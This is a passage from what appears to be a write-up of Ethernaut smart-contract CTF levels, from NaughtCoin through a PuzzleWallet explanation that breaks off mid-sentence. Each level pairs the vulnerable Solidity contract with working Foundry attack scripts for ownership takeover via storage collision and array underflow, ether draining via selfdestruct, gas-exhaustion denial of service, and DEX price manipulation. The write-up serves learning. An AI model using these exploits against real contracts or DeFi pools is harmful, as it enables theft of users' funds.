vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address player = address(naughtCoin.player());
uint playerBalance = naughtCoin.balanceOf(player);
console.log("Player : ", player);
console.log("Player Balance : ", playerBalance);
Attack attack = new Attack();
console.log("Attack Address : ", address(attack));
naughtCoin.approve(address(attack), playerBalance);
attack.exploit(player);
console.log("Player : ", player);
console.log("Player Balance : ", naughtCoin.balanceOf(player));
console.log("Attacker Balance : ", naughtCoin.balanceOf(address(attack)));
vm.stopBroadcast();
}
}
contract Attack{
NaughtCoin public naughtCoin = NaughtCoin(0xE4497348f2557Bb7Ecb4631426a0c2d880BE0497);
function exploit(address _player) public {
require(naughtCoin.allowance(_player, address(this)) > 0, "Not approved yet");
require(naughtCoin.transferFrom(_player, address(this), naughtCoin.balanceOf(_player)), "Transfer to Atacker Failed");
}
}
To run script :
$ source .env
$ forge script script/NaughtCoinSolve.s.sol:NaughtCoinSolve --rpc-url $RPC_URL --broadcast
16 Preservation
Preservation.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
- Goal
- The goal of this level is for you to claim ownership of the instance you are given.
- Solution
- Preservation contract uses LibraryContract to set the time in the Preservation contract by using
delegatecall
. - As we know
delegatecall
runs the call in the context of the calle contract and updates the storage of the caller contract. - So, the caller and callee contract storage layout should be matched. If not it may result in storage collision bugs.
- Here the Preservation contract doesn't matches the LibraryContract storage layout.
- I observed that calling
setSecondTime
updates thetimeZone1Library
address in the Preservation contract. - By exploiting this we can write our own attacker contract that implements the
setTime()
function and pass that address to thesetSecondTime()
function so that it will updte thetimeZone1Library
address in the Preservation contract. - I implemented the Attack contract in such a way that it matches the Preservation storage layout and instead of updating the
stiredTime
i updated theowner
. And that makes our attack contract as the owner of the Preservation contract.
PreservationSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Preservation} from "../src/Preservation.sol";
contract PreservationSolve is Script{
Preservation public preservation = Preservation(0x67403A5bC365868E3f9800c6308ca3623Bb1e446);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("timeZone1Library Address : ", preservation.timeZone1Library());
console.log("timeZone2Library Address : ", preservation.timeZone2Library());
console.log("Owner : ", preservation.owner());
Attack attack = new Attack();
console.log("Attack Address : ", address(attack));
attack.exploit();
console.log("timeZone1Library Address : ", preservation.timeZone1Library());
console.log("timeZone2Library Address : ", preservation.timeZone2Library());
console.log("Owner : ", preservation.owner());
vm.stopBroadcast();
}
}
contract Attack{
// matching Preservation Storage Layout
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function exploit() public {
Preservation preservation = Preservation(0x67403A5bC365868E3f9800c6308ca3623Bb1e446);
uint attacker = uint(uint160(address(this)));
preservation.setSecondTime(attacker); // updating timeZone1Library address;
preservation.setFirstTime(1);
}
function setTime(uint _time) public {
// owner = address(uint160(_time));
owner = address(0x699BceEbD59a5b52bB586C737cD7ba636f3Fe602);
}
}
To run script :
$ source .env
$ forge script script/PreservationSolve.s.sol:PreservationSolve --rpc-url $RPC_URL --broadcast
17 Recovery
Recovery.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
- Goal
- This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.
- Solution
- The SimpleToken contract is funded with 0.001 ether. We need to drain those ether.
- To drain ether we can simply call the
destroy()
function of the SimpleToken contract. - But we dont have the address of the SimpleToken. We can user ETHERSCAN to identify the transaction of Recovery contract to find the address of the SimpleToken.
- We can also use a formula that is mentioned in ethereum yellow paper about how a newly created contract address will be computed.
- The formula is
address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(_creator), bytes1(0x01))))))
0xd6
and0x94
are constants and the last byte1 is the nonce, i.e, number contracts created from the existed contract. We assume that its one.- By this formula we can recover the SimpleToken address and call the
destroy()
function to drain all ether.
RecoverySolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Recovery} from "../src/Recovery.sol";
contract RecoverySolve is Script{
Recovery public recovery = Recovery(0xb85de0D636d9C15Be34104D65A9eE406001463bE);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address myAddress = address(vm.envAddress("MY_ADDRESS"));
Attack attack = new Attack();
console.log("Attack Address : ", address(attack));
console.log("MY Balance : ", myAddress.balance);
address _creator = address(recovery);
address token = attack.exploit(_creator, payable(myAddress));
console.log("Token Address : ", token);
console.log("MY Balance : ", myAddress.balance);
vm.stopBroadcast();
}
}
contract Attack{
function exploit(address _creator, address payable _myAddress) public returns(address){
address missedToken = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(_creator), bytes1(0x01))))));
missedToken.call(abi.encodeWithSignature("destroy(address)", _myAddress));
return missedToken;
}
}
To run script :
$ source .env
$ forge script script/RecoverySolve.s.sol:RecoverySolve --rpc-url $RPC_URL --broadcast
18 Magic Number
MagicNum.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MagicNum {
address public solver;
constructor() {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
- Goal
- To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right number. But the solver contract should be very small at most 10 OPCODES.
- Solution
- To solve this challenge we need to write a contract that return 42. But the contract should be written with at most 10 OPCODES.
- We need write our contract in Assembly not in solidity, so that we can build very tiny contract with less OPCODES.
- Then we can convert it into bytecode and deploy onto blockchain and then pass the address to the
setSolver()
function. - Bytecodes are divided into two main types in solidity.
- Runtime bytecode
- Creation bytecode
- Runtime bytecode will be stored on blockchain and executes when a call happens
- Creation code consist of init data, runtime data and constructor bytecode. We need to create a runtime code which returns 42 upon call and append it with some init data which is required to deploy a contract.
Create a RUNTIME BYTECODE which returns 42
PUSH1 0x2a --> pushing 42 into stack
PUSH1 0x00
MSTORE --> Stores 0x2a at 0x00 location
PUSH 0x20 --> pushing 32 into stack
PUSH 0x00
RETURN --> returns value at 0x00 to 0x20 in memory
---> Combining this will be runtime code : 602a60005260206000f3
// Creating Creation code
PUSH10 0x602a60005260206000f3
PUSH 0x00
MSTORE --> Stores runtime bytecode at 0x00 in memory
PUSH 0x0a --> push 10 into memory : Length of the run time code
PUSH 0x16 --> push 22 into memory : Offset position
// MSTORE stores 0x0000000000000000000000602a60005260206000f3
RETURN
---> Creation Code : 69602a60005260206000f3600052600a6016f3
We can use this creation code to deploy a contract using create
opcode and pass the address of the deployed contract to setSolver()
.
MagicNumSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {MagicNum} from "../src/MagicNum.sol";
contract MagicNumSolve is Script{
function run() public{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
new Attack().exploit();
vm.stopBroadcast();
}
}
contract Attack{
MagicNum public magicNum = MagicNum(0x396D3C79ecde0C91F14562d41ecf0F7685016b65);
function exploit() public{
bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
address _solver;
// create(value, offset, size)
assembly {
_solver:= create(0, add(bytecode, 0x20), 0x13)
}
require(_solver != address(0));
magicNum.setSolver(_solver);
}
}
To run script :
$ source .env
$ forge script script/MagicNumSolve.s.sol:MagicNumSolve --rpc-url $RPC_URL --broadcast
19 Alien Codex
AlienCodex.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import './helpers/Ownable-05.sol';
contract AlienCodex is Ownable{
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
Ownable-05.sol
contract Ownable {
address private _owner;
/*
Remaining code......
*/
}
- Goal
- Claim ownership to complete the level.
- Solution
- First thing to note is the challenge contract uses pragma
0.5.0
, so it prone to integer overflow/underflows. - To call any function on the contract we need to call the
makeContact()
function initially. - Observe that
codex
is a dynamic bytes32 array. Recall how dynamic arrays stored in storage layout. - AlineCodex inherits the Ownable contract which has the state variable
owner
. It will be stored at slot 0 combined withcontacted
variable. - Here, in the slot 1 the legth of the
codex
array will be stored and it will be updated whenever a new element is pushed onto the array. - AleinCodex also changes the length of the
codex
withretract()
function. revise()
method allows us to modify any existing element of thecodex
array. Keep in mind that each element will stored at different storage slot.- Initially the length of the
codex
is 0. If we call theretract()
it will be0 - 1
which results in underflow and stores the value2**256 - 1
as the length . It is the maximum storage slot index of a contract in ethereum. - So, now the codex array has access to all the storage slots of the contract. We can use this to update the
owner
value which is stored at the slot 0. - For this we need to find the index of the slot 0. Dynamic arrays finds the elements starting from the slot number
uint(keccak256(SLOT_NUMBER_OF_LENGTH))
. So, thecodex
array elements starts from the slotuint(keccak256(1))
.
codex[0] ==> codex[keccack256(1)] ==> slot keccack256(1)
codex[1] ==> codex[keccack256(1)+1] ==> slot keccack256(1)+1
- We need to find the index of the slot 0. We can do this by pointing our
codex
array to2**256
index, which is not available and result in an overflow and will points back to the slot 0. - So, we need pass the
2**256 - keccack256(1)
to therevise()
method it will find the index of the slot by using the same method
codex[keccack256(1) + 2**256 - keccack256(1)]
codex[2**256] ==> slot 2**256 ==> slot 0 (overflow)
- This will result a overflow and
revise()
method will modify the content of the owner slot that is zero.
AlienCodexSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
// import {AlienCodex} from "../src/AlienCodex.sol"; // Not using AlienCodex source contract because of old compiler dependency
contract AlienCodexSolve is Script{
IAlienCodex public alienCodex = IAlienCodex(0x92FfB1bd2432d4F2EA1340209742a99FBbFD45d2);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
bytes32 slot0 = vm.load(address(alienCodex), bytes32(uint(0)));
console.logBytes32(slot0); // contacted + owner
alienCodex.makeContact();
alienCodex.retract(); // 0 - 1 ==> (2**256) [underflow]
// codex[0] ==> codex[keccack256(1)] ==> slot keccack256(1)
// codex[1] ==> codex[keccack256(1)+1] ==> slot keccack256(1)+1
// codex[2**256 - keccack256(1)] ==> codex[keccack256(1) + 2**256 - keccack256(1)]
// ==> codex[2**256] ==> slot 2**256 ==> slot 0 (overflow)
uint ownerSlot = (((2**256) - 1) - uint(keccak256(abi.encode(1))) + 1);
// uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
bytes32 _content = bytes32(uint256(uint160(vm.envUint("MY_ADDRESS"))));
alienCodex.revise(ownerSlot, _content);
bytes32 slot0After = vm.load(address(alienCodex), bytes32(uint(0)));
console.logBytes32(slot0After); // contacted + owner
vm.stopBroadcast();
}
}
interface IAlienCodex {
function makeContact() external;
function record(bytes32 _content) external;
function retract() external;
function revise(uint i, bytes32 _content) external;
}
To run script :
$ source .env
$ forge script script/AleinCodexSolve.s.sol:AleinCodexSolve --rpc-url $RPC_URL --broadcast
20 Denial
Denial.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
- Goal
- Deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
- Solution
- We should revert the call when the owner calls the
withdraw()
function. But if we do a simple revert in our contract fallback it won't work. - Because withdraw function doesn't check for the return value.
- One thing we can do is, drain the gas of the transaction that is sent by the owner.
- Call to partner is made by the
call
which will forward all the remaining gas to the external call. - So, we can drain all the gas by writing a most expensive computation in Partner contract.
- I have written an infinite loop inside the fallback of the Attack contract and registered the Attack contract as the partner in Denial contract.
DenialSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Denial} from "../src/Denial.sol";
contract DenialSolve is Script{
Denial public denial = Denial(payable(0x82091354dc7d529c2d52F4D99f7108630ECaE590));
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Denial Balance : ", address(denial).balance);
new Attack().exploit();
vm.stopBroadcast();
}
}
contract Attack{
Denial public denial = Denial(payable(0x82091354dc7d529c2d52F4D99f7108630ECaE590));
uint public x;
function exploit() public {
denial.setWithdrawPartner(address(this));
// denial.withdraw();
}
fallback() external payable{
for (uint i = 0; i>=0; i++){
x = x + i;
}
}
}
To run script :
$ source .env
$ forge script script/DenialSolve.s.sol:DenialSolve --rpc-url $RPC_URL --broadcast
21 Shop
Shop.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
- Goal
- Π‘an you get the item from the shop for less than the price asked?
- Solution
- This is similar to the Elevator challenge. Elevator uses a an external normal function to call.
- But here
price()
should a view function. Which shouldn't modify the storage of the contract. - So, we cant just keep the number of the calls to the
price()
function in our Attack contract. - We can make use of
isSold
variable to check that theprice()
is called or not. This can be acceptable inside a view function. - So, I wrote Attack contract with
price()
function defined as view and it returns two different price values for the initial call and second call.
ShopSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Shop} from "../src/Shop.sol";
contract ShopSolve is Script{
Shop public shop = Shop(0x45e7A13038eCA7cCfd53aC8C4F345A7bC2fCd2A2);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("is Sold : ", shop.isSold());
new Attack().exploit();
console.log("is Sold : ", shop.isSold());
vm.stopBroadcast();
}
}
contract Attack{
Shop public shop = Shop(0x45e7A13038eCA7cCfd53aC8C4F345A7bC2fCd2A2);
function exploit() public {
shop.buy();
}
function price() external view returns (uint){
if(shop.isSold() == false){
return 100;
}
return 1;
}
}
To run script :
$ source .env
$ forge script script/ShopSolve.s.sol:ShopSolve --rpc-url $RPC_URL --broadcast
22 Dex
Dex.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts/contracts/access/Ownable.sol';
contract Dex is Ownable(address(0x00)) {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
- Goal
- The goal of this level is for you to hack the basic DEX contract and steal the funds by price manipulation.
- You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a "bad" price of the assets.
- Solution
- You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
- There is a
swap()
function inside Dex contract which swaps one token for another. Insideswap()
intially two basic checks have been done to check for that the tokens are valid or not. And for the balance of the sender. - Observe that the
getSwapPrice()
is used to get the amount of tokens to be transferred to theto
address.
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
The
amount
is the amount of the tokens that added to the balance ofDex
contract.swapAmount
is the amount of tokens that goes to theto
address from the balance of theDex
contract.I tried calculating for swapAmout to find is there any chance that happens for the
swapAmount > amount
. So, that theto
address will get more tokens than they sent.I have observed that swapping between two tokens slightly increases the balance of the
to
address.swap(token1, token2, 10) swapAmount = (10 * 100)//100 = 10 ==> balance of player in token1 = 10 - amount = 0 ==> balance of player in token2 = 10 + swapAmount = 20 ==> balance of Dex in token1 = 110 ==> balance of Dex in token2 = 100 - swapAmount = 90 swap(token2, token1, 20) swapAmount = (20 * 110) // 90 = 24 ==> balance of player in token2 = 20 - amount = 0 ==> balance of player in token1 = 0 + swapAmount = 24 ==> balance of Dex in token2 = 90 + amount ==> balance of Dex in token1 = 110 - swapAmount = 110 - 24 = 86
Here you can see that the after each swap
swapAmount
is becoming greater than the amount the comes in.After doing 5 swaps we need to do 45 amount of tokens swap from token2 to token1 which will make token2 balance of
Dex
zero.
DexSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Dex} from "../src/Dex.sol";
import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
contract DexSolve is Script{
Dex public dex = Dex(0x13dC383F59782676f31c55baa715C6F24E4d8CF5);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address token1 = address(dex.token1());
address token2 = address(dex.token2());
console.log("Token 1 : ", token1);
console.log("Token 2 : ", token2);
console.log("DEX balance in TOKEN1 ", dex.balanceOf(token1, address(dex)));
console.log("DEX balance in TOKEN2 ", dex.balanceOf(token2, address(dex)));
Attack attack = new Attack();
dex.approve(address(attack), 10);
attack.exploit();
console.log("Attacker balance in TOKEN1 ", dex.balanceOf(token1, address(attack)));
console.log("Attacker balance in TOKEN2 ", dex.balanceOf(token2, address(attack)));
console.log("DEX balance in TOKEN1 ", dex.balanceOf(token1, address(dex)));
console.log("DEX balance in TOKEN2 ", dex.balanceOf(token2, address(dex)));
vm.stopBroadcast();
}
}
contract Attack{
Dex public dex = Dex(0x13dC383F59782676f31c55baa715C6F24E4d8CF5);
address token1 = dex.token1();
address token2 = dex.token2();
function exploit() public{
IERC20(token1).transferFrom(0x699BceEbD59a5b52bB586C737cD7ba636f3Fe602, address(this), 10);
IERC20(token2).transferFrom(0x699BceEbD59a5b52bB586C737cD7ba636f3Fe602, address(this), 10);
dex.approve(address(dex), type(uint64).max);
dex.swap(token1, token2, dex.balanceOf(token1, address(this)));
dex.swap(token2, token1, dex.balanceOf(token2, address(this)));
dex.swap(token1, token2, dex.balanceOf(token1, address(this)));
dex.swap(token2, token1, dex.balanceOf(token2, address(this)));
dex.swap(token1, token2, dex.balanceOf(token1, address(this)));
dex.swap(token2, token1, 45);
}
}
To run script :
$ source .env
$ forge script script/DexSolve.s.sol:DexSolve --rpc-url $RPC_URL --broadcast
23 Dex Two
DexTwo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts/contracts/access/Ownable.sol';
contract DexTwo is Ownable(address(0x00)) {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
- Goal
- You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.
- Solution
- Observe that the
DexTwo
modifies theswap()
function from theDex
. It removed the check of valid tokens. - So, we are now allowed to input any token addresses to the swap() function.
- I created two Fake Tokens and transferred 100 tokens each of the two tokens to the
Dex
address. - I swapped my fake tokens with the
token1
andtoken2
balances of theDex
contract.
DexTwoSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Dex} from "../src/Dex.sol";
import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract DexTwoSolve is Script{
Dex public dex = Dex(0xd8c665Dac001720A9efa0f478e63CABc5D64E9e9);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address token1 = address(dex.token1());
address token2 = address(dex.token2());
console.log("Token 1 : ", token1);
console.log("Token 2 : ", token2);
console.log("DEX balance in TOKEN1 ", dex.balanceOf(token1, address(dex)));
console.log("DEX balance in TOKEN2 ", dex.balanceOf(token2, address(dex)));
Attack attack = new Attack();
// dex.approve(address(attack), 10);
attack.exploit();
console.log("Attacker balance in TOKEN1 ", dex.balanceOf(token1, address(attack)));
console.log("Attacker balance in TOKEN2 ", dex.balanceOf(token2, address(attack)));
console.log("DEX balance in TOKEN1 ", dex.balanceOf(token1, address(dex)));
console.log("DEX balance in TOKEN2 ", dex.balanceOf(token2, address(dex)));
vm.stopBroadcast();
}
}
contract Attack{
Dex public dex = Dex(0xd8c665Dac001720A9efa0f478e63CABc5D64E9e9);
address token1 = dex.token1();
address token2 = dex.token2();
MyEvilToken myToken1;
MyEvilToken myToken2;
constructor(){
myToken1 = new MyEvilToken();
myToken2 = new MyEvilToken();
}
function exploit() public{
// IERC20(token1).transferFrom(0x699BceEbD59a5b52bB586C737cD7ba636f3Fe602, address(this), 10);
// IERC20(token2).transferFrom(0x699BceEbD59a5b52bB586C737cD7ba636f3Fe602, address(this), 10);
myToken1.transfer(address(dex), 100);
myToken2.transfer(address(dex), 100);
myToken1.approve(address(dex), type(uint64).max);
myToken2.approve(address(dex), type(uint64).max);
dex.swap(address(myToken1), token1, dex.balanceOf(token1, address(dex)));
dex.swap(address(myToken2), token2, dex.balanceOf(token2, address(dex)));
}
}
contract MyEvilToken is ERC20("MyEVILToken", "EVIL"){
constructor(){
_mint(msg.sender, 10000);
}
}
To run script :
$ source .env
$ forge script script/DexTwoSolve.s.sol:DexTwoSolve --rpc-url $RPC_URL --broadcast
24 Puzzle Wallet
PuzzleWallet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
- Goal
- You'll need to hijack this wallet to become the admin of the proxy.
- Solution
- PuzzleProxy is a proxy contract and PuzzleWallet is an implementation contract.
- Calls to PuzzleProxy will be forwarded to the PuzzleWallet through delegatecall.
- Recall that
delegatecall
updates the storage of the caller contract. So, the storage layout should not possess any collisons. - Here, the storage layout of the two contracts are not matched. It may lead to storage collisions.
- Lets understand the goal of the challenge. We need to become the admin of the proxy contract.
- We can propose a new admin which will update the
pendingAdmin
variable in PuzzleProxy as well as theowner
inside PuzzleWallet. Because of storage collision. - Then call the
addToWhiteList()
with our Attacker address to be able to call other functions of PuzzleWallet. - To override the
admin
variable in PuzzleProxy contract we have to change themaxPrice
variable to address of our Attacker. - To update
maxPrice
we need to drain all the funds of the the PuzzleWallet. Initially it has 0.001 ether, We can able to deposit some ether and withdraw the same amount of ether only using theexecute()
function. - If we somehow able to pass this
require(balances[msg.sender] >= value, "Insufficient balance");
check we can withdraw more ether from wallet. - To do so, we need to send 0.001 ether only to the wallet, but we need to update the
balance[msg.sender]
to double of it. So that we can withdraw() 0.002 ether from the wallet. So that wallet balance will be zero. - We can use the
multicall()
function to do this, we call themulticall()
with 0.001 ether and pass the function signature of thedeposit()
so that our balance will become 0.001 ether and balance of wallet will be 0.002 ether. - We cant call
deposit()
twice in a single call by passing calldata as [signature ofdeposit
+ signature ofdeposit
]. As there is a check to catch this case. - But we can send the singature of the
deposit()
and a call tomulticall()
again with thedeposit()
signature. - That is we are calling multicall with a
deposit()
calldata along with multicall calldata withdeposit()
signature. i.e, a nested multicall. - This will modify the
balance[msg.sender]
